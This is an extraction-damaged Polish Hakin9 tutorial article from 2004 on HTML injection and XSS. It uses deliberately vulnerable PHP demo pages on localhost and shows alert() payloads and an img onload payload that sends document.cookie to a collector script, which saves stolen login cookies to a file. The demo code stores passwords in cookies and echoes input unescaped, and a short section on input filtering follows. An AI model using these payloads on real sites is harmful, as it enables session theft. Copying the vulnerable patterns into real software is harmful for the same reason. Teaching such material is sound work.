Ataki HTML Injection
description
Transcript of Ataki HTML Injection
-
AtakiHTMLinjection
Brandon Petty
Artyku opublikowany w numerze 1/2004 magazynu Hakin9
Wszelkie prawa zastrzeone. Bezpatne kopiowanie i rozpowszechnianie artykuudozwolone pod warunkiem zachowania jego obecnej formy i treci.
Magazyn Hakin9, Wydawnictwo Software, ul. Lewartowskiego 6, 00-190 Warszawa, [email protected]
-
www.hakin9.org2 Hakin9 Nr 1/2004
Dla
poc
ztk
ujc
ych
Przyjrzyjmy si stronie, ktrej kodrdowy przedstawiony jest na Listin-gach 1 i 2 (http://127.0.0.1/inject/html_ex.html). Wyglda prosto, prawda? W formu-larzu wybieramy interesujcy nas format(MP3, OGG lub WAV) i klikamy OK. War-to zmiennej music przesyana jest do strony html_ex.php:
Ten plik wypisuje nazw wybranego przez nas formatu:
$myURL = $_REQUEST[music];
(...)
Twj wybr:
Dziaanie strony jest tak proste, e a nie chce si wierzy, by moga ona zawiera jakie luki zwizane z bezpieczestwem. A jednak sprbujmy wpisa w przegldar-ce adres http://127.0.0.1/inject/html_ex.php?
Ataki HTML injection
Brandon Petty
Ataki HTML injection polegaj na przesaniu stronie, ktra oczekuje od nas danychw postaci czystego tekstu, cigu zawierajcego specjalnie spreparowany kod HTML. Co moemy w ten sposb osign?
music =aler t ( 'hakin9 ' )< /scr ipt>. Na ekranie pojawia si okienko dialogowe z napisem hakin9. Ciekawe, prawda? Obej-rzyjmy rdo strony, ktra si wywietlia (Listing 3).
Jak wida PHP uwierzy, e cig podany przez nas w adresie jest przesany przez for-mularz (metod GET) i wstawi go w wysany przegldarce kod HTML. Znacznik nakazuje uycie JavaScriptu, co pozwala nam uy funkcji alert() w celu wywietlenia wy-skakujcego okienka.
Bardziej zoony przykad proste forumBardziej zoony przykad przedstawia Listing 4 i 5 http://127.0.0.1/inject/xss_ex.php. Jest to uprosz-czona wersja mechanizmu, ktry znajdziemy na wielu dziaajcych w Sieci forach dyskusyjnych. Strona xss_ex.php zawiera formularz, w ktry wpisujemy nazw uytkownika i haso (root i demo). Dane te przesyane s znowu do pliku xss_ex.php:
-
www.hakin9.org 3Hakin9 Nr 1/2004
Ataki HTML injection
Po ich odebraniu skrypt wysya klien-towi cookies zawierajce nazw uyt-kownika i haso:
setcookie("mylogin",$_POST['login']);
setcookie("mypaswd",$_POST['paswd']);
Dziki temu przy kolejnych odwiedzi-nach nie bdzie trzeba podawa tych danych drugi raz. Po wysaniu co-okies skrypt wysya nagwek HTTP location, co powoduje otwarcie stro-ny exploit.php:
header("Location: exploit.php");
Po zalogowaniu si trafiamy na stro-n symulujc zamieszczanie na fo-rum obrazka. Na stronie tej znajduje si prosty formularz, w ktry wpisuje-my link do pliku graficznego. Po wci-niciu przycisku link przesyany jest do skryptu, ktry umieszcza go w ba-zie danych i wywietla.
Sprbujmy przeprowadzi atakHTML injection podobny do po-przedniego. Jako link obrazka wpiszmy: http://127.0.0.1/inject/image.jpg" >aler t ( 'hakin9'). Efekt powinien by identyczny jak w poprzednim przy-padku. Zajrzyjmy do rde wywie-tlonej strony, znajdziemy w nich linijk:
alert('hakin9')">
Jak to dziaa? To proste zauwa-my, e cig ">, ktry umiecilimy po nazwie pliku z grafik, spowodowa zamknicie tagu img. Nastpujcy dalej cig alert('hakin9') spowodowa tak samo jak w poprzednim przykadzie wy-wietlenie okna dialogowego.
Przykad zastosowania techniki XSSNo tak ale generowanie wyskaku-jcych okienek to troch zbyt mao,
Listing 1. Najprostszy przykad strony podatnej na atak HTML injection plik html_ex.html
[Wybierz format]
.MP3
.OGG
.WAV
Listing 2. Cig dalszy strony podatnej na atak HTML injection plik html_ex.php
Prosty przykad
Twj wybr:
Jeli nie dziaa przykad html_ex.phpJeli na Twoim komputerze nie dziaa przykad przedstawiony na Listin-gach 1 i 2 (wpisanie adresu podanego w artykule nie powoduje wywietlenia okienka dialogowego), sprawd, czy w opcjach przegldarki nie wyczy-e JavaScriptu. Jeli JavaScript jest wyczony, okno dialogowe nie mo-e zosta wywietlone. Obejrzyj te rdo strony, ktra wywietlia si po wpisaniu podanego w artykule adresu i porwnaj j z przedstawionym na Li-stingu 3. W szczeglnoci sprawd, czy linijka:
alert(hakin9)
u ciebie nie wyglda tak:
alert(\hakin9\)
Jeli tak jest prawdopodobnie w pli-ku konfiguracyjnym PHP (/etc/php.ini w wikszoci dystrybucji Linuksa) masz ustawion opcj:
magic_quotes_gpc=On
Opcja ta zabezpiecza przed wieloma rodzajami ataku HTML injection, aby wic wyprbowa dziaanie opisanych w artykule atakw ustaw j na mniej bezpieczn warto:
magic_quotes_gpc=Off
Listing 3. rdo strony, ktra wywietla si po wpisaniu adresu http://127.0.0.1/inject/html_ex.php?music=alert('hakin9')
Prosty przykad
Wybrae:
alert('hakin9')
-
www.hakin9.org4 Hakin9 Nr 1/2004
Dla
poc
ztk
ujc
ych
by mwi o hakerstwie. Sprbujmy zrobi co bardziej ambitnego.
Przede wszystkim aby atak HTML injection odnis powany
skutek, nasz kod musi by umiesz-czony na stronie, ktr oglda wie-le osb. Jak widzielimy w poprzed-nim przykadzie nie jest to trudne
wystarczy wykorzysta dowolne fo-rum. Wan cech forum z poprzed-niego przykadu jest te fakt, e kie-dy internauta loguje si, jego nazwa
Rysunek 1. Strona z Listingw 1 i 2 dziaanie zwyke i wymuszone przez hakera wywietlenie wyskakujcego okienka
Listing 4. Dziurawe forum xss_ex.php
if ($_SERVER['REQUEST_METHOD'] == "POST") {
setcookie("mylogin",$_POST['login']);
setcookie("mypaswd",$_POST['paswd']);
header("Location: exploit.php");
}
if ($_COOKIE['mylogin'] || $_COOKIE['mypasswd']) {
echo("Ju jeste zalogowany ");
}
else
{
?>
HTML Injection Demo
Login:
Paswd:
...
-
www.hakin9.org 5Hakin9 Nr 1/2004
Ataki HTML injection
uytkownika i haso s zapamitane w cookies. Za chwil przekonamy si, e jest moliwe wykradzenie czyje-go cookie, co pozwoli nam podszy-wa si pod innych uytkownikw.
Zacznijmy od prostego przyka-du. Zamiast odnonika do obrazka (mwimy cay czas o forum z Listin-gw 4 i 5) wstawmy w okienko poni-szy cig:
http://127.0.0.1/inject/image.jpg">
alert(document.cookie)
Spowoduje to wywietlenie okienka z napisem:
mylogin=root; mypasswd=demo
Jak wida zmienna document.cookie przechowuje warto cookies dla strony, na ktrej si znajdujemy. Jed-nak nam nie chodzi o to, eby ka-dy uytkownik zobaczy swoje dane chcemy, eby te dane zostay prze-
Listing 5. Dziurawe forum, cig dalszy exploit.php
HTML Injection Demo
URL obrazka:
...
...
$SQL_String = "SELECT User.Link FROM User";
$SQL_String .= " Where(User.Login = 'root');";
$rs = mysql_query ($SQL_String) or die ($SQL_String);
if ($row = mysql_fetch_object ($rs))
{
echo "\n";
}
else
{
echo "Bd!!\n";
}
...
Konwersja znakw ASCII na symbole szesnastkoweSpjrzmy na dwa ponisze odnoniki:
http://127.0.0.1/inject/html_ex.php?music=alert('hakin9')
http://127.0.0.1/inject/html_ex.php?music=
%3Cscript%3Ealert%28%27hakin9%27%29%3C%2Fscript%3E
Warto wiedzie, e oba prowadz w to samo miejsce. To proste znak < nosi w ASCII numer 3C (szesnastkowo), wic zamiast pisa %3E
? %3F
@ %40
[ %5B
\ %5C
] %5D
^ %5E
_ %5F
~ %7E
-
www.hakin9.org6 Hakin9 Nr 1/2004
Dla
poc
ztk
ujc
ych
sane do nas. Najprostszy sposb na osignicie tego celu to wstawienie linku, ktry spowoduje otwarcie na-szej strony, w zmiennych przesa-nych metod GET przekazujc war-to zmiennej document.cookie.
Przyjrzyjmy si skryptowi z Listin-gu 7. Jeli otworzymy go w ten spo-sb: http://127.0.0.1/~haking/inject/cookie.php?cookie=przykladowy _tekst spowoduje on zapisanie do pliku cookies.txt cigu przykladowy_tekst. Jeli w otwieranym adresie zamiast cigu przykladowy_tekst umieciliby-
my zawarto cookies zostayby one przesane na nasz serwer!
Przeanalizujmy dziaanie linku przedstawionego na Listingu 6 (pierw-szy link). Wpisanie go w okienku, w ktrym podajemy odnonik do ob-razka, spowoduje wysanie do klienta poniszego kodu:
Rysunek 2. Schemat dziaania uproszczonego modelu forum z Listingw 4 i 5
Listing 6. Przykadowe cigi, ktrych wpisanie w okienku wyboru obrazka spowoduje wysanie intruzowi zawartoci cookies
image.jpg" width="0" height="0" name="hia" onload="hia.src='http://127.0.0.1/inject/
cookie.php?cookie='+document.cookie;
./image.jpg" name="hia" onload="hia.src='http://127.0.0.1/inject/cookie.php?cookie='%2Bdocument.cookie;">
-
www.hakin9.org 7Hakin9 Nr 1/2004
Ataki HTML injection
To proste podany przez nas cigzosta podobnie, jak w poprze-dnich przykadach wstawionyw miejsce, w ktre ma trafialink do obrazka. Spowoduje to, e wywietlony zostanie obra-zek image.jpg o wymiarach 0x0 pikseli (nie bdzie wic on wi-doczny). Po jego zaadowaniu (metoda onload) jako obrazek zaa-dowany zostanie URL:
http://127.0.0.1/inject/
cookie.php?cookie='+document.cookie;
Jak ju widzielimy, spowoduje to wysanie na serwer cookies uytko-wnika ktre zostan zapisanena naszym serwerze (tam, gdzie umieszczony jest plik cookie.php), w pliku cookies.txt. Aby uspraw-ni sobie przeprowadzanie ataku moemy uy skryptu z Listingu 8.
W niektrych sytuacjach koniecz-ne moe by uycie cigu
-
www.hakin9.org8 Hakin9 Nr 1/2004
Dla
poc
ztk
ujc
ych
sytuacjach obrona przed nimi nie jest atwa. Istniej dwa sposoby na to, by zabezpieczy swoj stron przed ha-kerem.
Pierwszy sposb polega na ana-lizowaniu przychodzcych danych (po stronie serwera), zanim zostan one wczone w kod strony wysanej klientowi. Odpowiednia funkcja moe sprawdza, czy w danych nie zosta umieszczony zoliwy kod HTML i al-bo odmwi ich przyjcia, albo spr-bowa wyci podejrzane fragmenty. Przykad zastosowania tej metody przedstawiony jest na Listingu 10. Przedstawia on odporn na atak wer-
sj strony z Listingu 2. Jak wida napi-salimy funkcj is _ clean(). Sprawdza ona, czy podane dane nie zawieraj cigw "> lub
Prosty przykad
Wybrae